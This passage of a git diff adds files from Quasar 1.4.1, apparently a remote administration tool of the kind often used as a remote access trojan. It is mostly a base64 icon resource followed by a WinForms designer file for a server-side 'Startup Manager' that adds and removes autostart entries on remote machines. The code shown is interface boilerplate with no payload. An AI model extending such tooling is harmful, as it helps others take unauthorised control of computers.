Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.Designer.cs new file mode 100755 index 0000000..f1bf147 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.Designer.cs @@ -0,0 +1,135 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmStartupManager + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter1 = new Quasar.Server.Utilities.ListViewColumnSorter(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmStartupManager)); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.addEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.removeEntryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.lstStartupItems = new Quasar.Server.Controls.AeroListView(); + this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hPath = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.contextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // contextMenuStrip + // + this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(16, 16); + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.addEntryToolStripMenuItem, + this.removeEntryToolStripMenuItem}); + this.contextMenuStrip.Name = "ctxtMenu"; + this.contextMenuStrip.Size = new System.Drawing.Size(174, 56); + // + // addEntryToolStripMenuItem + // + this.addEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_add; + this.addEntryToolStripMenuItem.Name = "addEntryToolStripMenuItem"; + this.addEntryToolStripMenuItem.Size = new System.Drawing.Size(173, 26); + this.addEntryToolStripMenuItem.Text = "Add Entry"; + this.addEntryToolStripMenuItem.Click += new System.EventHandler(this.addEntryToolStripMenuItem_Click); + // + // removeEntryToolStripMenuItem + // + this.removeEntryToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.application_delete; + this.removeEntryToolStripMenuItem.Name = "removeEntryToolStripMenuItem"; + this.removeEntryToolStripMenuItem.Size = new System.Drawing.Size(173, 26); + this.removeEntryToolStripMenuItem.Text = "Remove Entry"; + this.removeEntryToolStripMenuItem.Click += new System.EventHandler(this.removeEntryToolStripMenuItem_Click); + // + // lstStartupItems + // + this.lstStartupItems.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lstStartupItems.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.hName, + this.hPath}); + this.lstStartupItems.ContextMenuStrip = this.contextMenuStrip; + this.lstStartupItems.ForeColor = System.Drawing.Color.White; + this.lstStartupItems.FullRowSelect = true; + this.lstStartupItems.GridLines = true; + this.lstStartupItems.HideSelection = false; + this.lstStartupItems.Location = new System.Drawing.Point(15, 15); + listViewColumnSorter1.NeedNumberCompare = false; + listViewColumnSorter1.Order = System.Windows.Forms.SortOrder.None; + listViewColumnSorter1.SortColumn = 0; + this.lstStartupItems.LvwColumnSorter = listViewColumnSorter1; + this.lstStartupItems.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.lstStartupItems.Name = "lstStartupItems"; + this.lstStartupItems.Size = new System.Drawing.Size(815, 435); + this.lstStartupItems.TabIndex = 0; + this.lstStartupItems.UseCompatibleStateImageBehavior = false; + this.lstStartupItems.View = System.Windows.Forms.View.Details; + // + // hName + // + this.hName.Text = "Name"; + this.hName.Width = 187; + // + // hPath + // + this.hPath.Text = "Path"; + this.hPath.Width = 460; + // + // FrmStartupManager + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(846, 466); + this.Controls.Add(this.lstStartupItems); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MinimumSize = new System.Drawing.Size(808, 488); + this.Name = "FrmStartupManager"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Startup Manager []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmStartupManager_FormClosing); + this.Load += new System.EventHandler(this.FrmStartupManager_Load); + this.contextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.ColumnHeader hName; + private System.Windows.Forms.ColumnHeader hPath; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem addEntryToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem removeEntryToolStripMenuItem; + private Controls.AeroListView lstStartupItems; + + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.cs new file mode 100755 index 0000000..f3ecf64 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.cs @@ -0,0 +1,205 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using 